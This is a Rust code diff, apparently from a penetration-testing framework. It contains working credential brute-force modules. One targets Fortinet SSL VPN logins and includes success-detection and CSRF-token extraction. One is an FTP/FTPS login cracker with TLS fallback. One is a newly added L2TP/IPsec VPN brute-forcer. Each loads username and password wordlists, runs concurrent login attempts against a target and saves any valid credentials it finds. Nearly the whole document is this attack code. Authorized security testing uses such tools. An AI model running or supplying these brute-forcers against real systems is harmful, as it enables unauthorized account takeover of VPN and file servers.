|
||||
if response_body.contains("redir")
|
||||
|| response_body.contains("\"1\"")
|
||||
|| response_body.contains("success")
|
||||
|| response_body.contains("/remote/index")
|
||||
|| response_body.contains("portal")
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check for failure indicators
|
||||
if response_body.contains("error")
|
||||
|| response_body.contains("invalid")
|
||||
|| response_body.contains("failed")
|
||||
|| response_body.contains("incorrect")
|
||||
|| response_body.contains("\"0\"")
|
||||
{
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// Check status and cookies
|
||||
if status.is_success() && has_auth_cookie {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// Check redirect location
|
||||
if status.as_u16() == 302 {
|
||||
if let Some(ref loc_str) = location_header {
|
||||
if loc_str.contains("/remote/index")
|
||||
|| loc_str.contains("portal")
|
||||
|| loc_str.contains("index")
|
||||
{
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Extracts CSRF token from HTML response
|
||||
fn extract_csrf_token(html: &str) -> Option<String> {
|
||||
let patterns = vec![
|
||||
r#"name="magic"\s+value="([^"]+)""#,
|
||||
r#"name="csrf_token"\s+value="([^"]+)""#,
|
||||
r#""magic"\s*:\s*"([^"]+)""#,
|
||||
r#"magic=([^&\s"]+)"#,
|
||||
];
|
||||
|
||||
for pattern in patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
if let Some(captures) = re.captures(html) {
|
||||
if let Some(token) = captures.get(1) {
|
||||
return Some(token.as_str().to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required. Please provide a value.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default_val.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(msg: &str) -> Result<Option<String>> {
|
||||
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
|
||||
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(trimmed.to_string())
|
||||
})
|
||||
}
|
||||
|
||||
/// Builds Fortinet VPN URL with proper IPv6 handling
|
||||
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
|
||||
let clean_target = target.trim_matches(|c| c == '[' || c == ']');
|
||||
let is_ipv6 = clean_target.contains(':') && !clean_target.contains('.');
|
||||
|
||||
let url = if is_ipv6 {
|
||||
format!("https://[{}]:{}", clean_target, port)
|
||||
} else {
|
||||
format!("https://{}:{}", clean_target, port)
|
||||
};
|
||||
|
||||
Ok(url)
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.map(|line| line.trim().to_string())
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path = Path::new(input_path_str);
|
||||
let filename_component = path
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
|
||||
|
||||
let final_name = if filename_component.is_empty()
|
||||
|| filename_component == "."
|
||||
|| filename_component == ".."
|
||||
|| filename_component.contains('/')
|
||||
|| filename_component.contains('\\')
|
||||
{
|
||||
"fortinet_results.txt"
|
||||
} else {
|
||||
filename_component.as_ref()
|
||||
};
|
||||
|
||||
PathBuf::from(format!("./{}", final_name))
|
||||
}
|
||||
@@ -1,52 +1,18 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use suppaftp::{
|
||||
AsyncFtpStream,
|
||||
AsyncNativeTlsFtpStream,
|
||||
AsyncNativeTlsConnector,
|
||||
};
|
||||
use colored::*;
|
||||
use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::PathBuf,
|
||||
sync::Arc, // Keep Arc
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore}, // Import Semaphore
|
||||
time::{sleep, Duration}
|
||||
sync::Arc,
|
||||
};
|
||||
use std::path::Path;
|
||||
use sysinfo::System;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use tokio::{sync::{Mutex, Semaphore}, time::{sleep, Duration}};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
async fn dynamic_throttle(running: usize, max_concurrency: usize) {
|
||||
let mut system = System::new_all();
|
||||
system.refresh_all();
|
||||
|
||||
let cpu_count = system.cpus().len();
|
||||
let cpu_usage = if cpu_count > 0 {
|
||||
system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / cpu_count as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
let total_memory = system.total_memory();
|
||||
let ram_used = if total_memory > 0 {
|
||||
system.used_memory() as f32 / total_memory as f32
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
if cpu_usage > 80.0 || ram_used > 0.8 {
|
||||
sleep(Duration::from_millis(50)).await;
|
||||
} else if cpu_usage > 60.0 || ram_used > 0.6 {
|
||||
sleep(Duration::from_millis(25)).await;
|
||||
} else if running > max_concurrency { // This condition is now less critical for preventing "too many open files"
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
} else {
|
||||
sleep(Duration::from_millis(1)).await;
|
||||
}
|
||||
}
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
@@ -101,110 +67,119 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let addr = format_addr(target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
|
||||
if !combo_mode && users.is_empty() && !passes.is_empty() {
|
||||
return Err(anyhow!(
|
||||
"Username wordlist ('{}') is empty, but password wordlist ('{}') is not. \
|
||||
Cannot proceed in line-by-line (non-combo) mode as it requires usernames to pair with passwords.",
|
||||
usernames_file, passwords_file
|
||||
));
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
// (Optional: notifications for empty lists can remain here)
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
if combo_mode {
|
||||
for user in &users {
|
||||
if *stop.lock().await && stop_on_success { break; }
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
for pass in &passes {
|
||||
if *stop.lock().await && stop_on_success { break; }
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore for the task
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// Acquire a permit. This will block if `concurrency` limit is reached.
|
||||
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
|
||||
|
||||
// Proceed with the task logic only after a permit is acquired
|
||||
if *stop_clone.lock().await && stop_on_success { return; }
|
||||
match try_ftp_login(&addr_clone, &user_clone, &pass_clone).await {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &user_clone, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_on_success {
|
||||
*stop_clone.lock().await = true;
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
// Permit is automatically released when `_permit` goes out of scope here
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
}
|
||||
} else { // Line-by-line mode
|
||||
if !users.is_empty() || passes.is_empty() {
|
||||
} else {
|
||||
if !users.is_empty() {
|
||||
for (i, pass) in passes.iter().enumerate() {
|
||||
if *stop.lock().await && stop_on_success { break; }
|
||||
let user = if users.is_empty() { continue; } else {
|
||||
users.get(i % users.len()).expect("User list modulus logic error").clone()
|
||||
};
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
|
||||
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
// Acquire a permit
|
||||
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
|
||||
|
||||
if *stop_clone.lock().await && stop_on_success { return; }
|
||||
match try_ftp_login(&addr_clone, &user, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
match try_ftp_login(&addr_clone, &user, &pass_clone, verbose_flag).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
|
||||
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
|
||||
if stop_on_success {
|
||||
*stop_clone.lock().await = true;
|
||||
if stop_on_success_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
// Permit released
|
||||
drop(permit);
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let mut processed_tasks_count = 0;
|
||||
while let Some(res) = tasks.next().await {
|
||||
dynamic_throttle(processed_tasks_count, concurrency).await; // Still useful for CPU/RAM based throttling
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
|
||||
}
|
||||
processed_tasks_count += 1;
|
||||
// (stop logic can remain)
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
@@ -236,8 +211,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
// (try_ftp_login function remains unchanged from your last working version)
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
// Attempt 1: Plain FTP
|
||||
match AsyncFtpStream::connect(addr).await {
|
||||
Ok(mut ftp) => {
|
||||
@@ -251,14 +225,15 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
if msg.contains("530") {
|
||||
return Ok(false);
|
||||
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
log(true, &format!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr));
|
||||
println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr);
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
// Log network errors if verbose, otherwise they might be too noisy
|
||||
log(true, &format!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
|
||||
if verbose {
|
||||
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
}
|
||||
}
|
||||
@@ -267,25 +242,30 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
|
||||
log(true, &format!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr));
|
||||
println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr);
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
// Log network errors if verbose
|
||||
log(true, &format!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
|
||||
if verbose {
|
||||
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 2️⃣ Only if needed, try FTPS
|
||||
log(true, &format!("[i] {} Attempting FTPS login for user '{}'", addr, user));
|
||||
if verbose {
|
||||
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
|
||||
}
|
||||
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
log(true, &format!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
|
||||
if verbose {
|
||||
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("FTPS base connect failed: {}", e)
|
||||
})?;
|
||||
|
||||
@@ -305,7 +285,9 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
log(true, &format!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
|
||||
if verbose {
|
||||
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("TLS upgrade failed: {}", e)
|
||||
})?;
|
||||
|
||||
@@ -319,7 +301,9 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
if msg.contains("530") {
|
||||
Ok(false)
|
||||
} else {
|
||||
log(true, &format!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
|
||||
if verbose {
|
||||
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
}
|
||||
}
|
||||
@@ -331,7 +315,7 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}: ", msg);
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
@@ -339,12 +323,12 @@ fn prompt_required(msg: &str) -> Result<String> {
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
}
|
||||
println!("This field is required.");
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", msg, default);
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
@@ -359,7 +343,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{} (y/n) [{}]: ", msg, default_char);
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
@@ -368,7 +352,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("Invalid input. Please enter 'y' or 'n'."),
|
||||
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -376,7 +360,11 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader.lines().filter_map(Result::ok).collect())
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
|
||||
@@ -0,0 +1,673 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use regex::Regex;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
};
|
||||
use tokio::{
|
||||
process::Command,
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== L2TP/IPsec VPN Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("L2TP/IPsec Port (IKE)", "500")?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file_path = loop {
|
||||
let input = prompt_required("Username wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let passwords_file_path = loop {
|
||||
let input = prompt_required("Password wordlist path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// Optional: Pre-shared key (PSK) for IPsec phase
|
||||
let psk = prompt_optional("IPsec Pre-shared Key (PSK) - optional, press Enter to skip")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "5")?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "15")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file name", "l2tp_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
|
||||
|
||||
let addr = normalize_target(target, port)?;
|
||||
let found_credentials = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
println!("[*] Timeout: {} seconds", timeout_secs);
|
||||
if psk.is_some() {
|
||||
println!("[*] Using IPsec PSK authentication");
|
||||
} else {
|
||||
println!("[*] No PSK specified - will attempt without PSK");
|
||||
}
|
||||
|
||||
let users = load_lines(&usernames_file_path)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} usernames", users.len());
|
||||
|
||||
let passwords = load_lines(&passwords_file_path)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("[*] Loaded {} passwords", passwords.len());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
let timeout_duration = Duration::from_secs(timeout_secs);
|
||||
|
||||
if combo_mode {
|
||||
// Try every password with every user
|
||||
for user in &users {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
for pass in &passwords {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let psk_clone = psk.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_l2tp_login(&addr_clone, &user_clone, &pass_clone, &psk_clone, timeout_duration).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
let mut found = found_credentials_clone.lock().await;
|
||||
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_on_success_flag {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
drop(permit);
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
}));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Try passwords sequentially, cycling through users
|
||||
for (i, pass) in passwords.iter().enumerate() {
|
||||
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
|
||||
|
||||
let addr_clone = addr.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let psk_clone = psk.clone();
|
||||
let found_credentials_clone = Arc::clone(&found_credentials);
|
||||
let stop_signal_clone = Arc::clone(&stop_signal);
|
||||
let semaphore_clone = Arc::clone(&semaphore);
|
||||
let verbose_flag = verbose;
|
||||
let stop_on_success_flag = stop_on_success;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
let permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
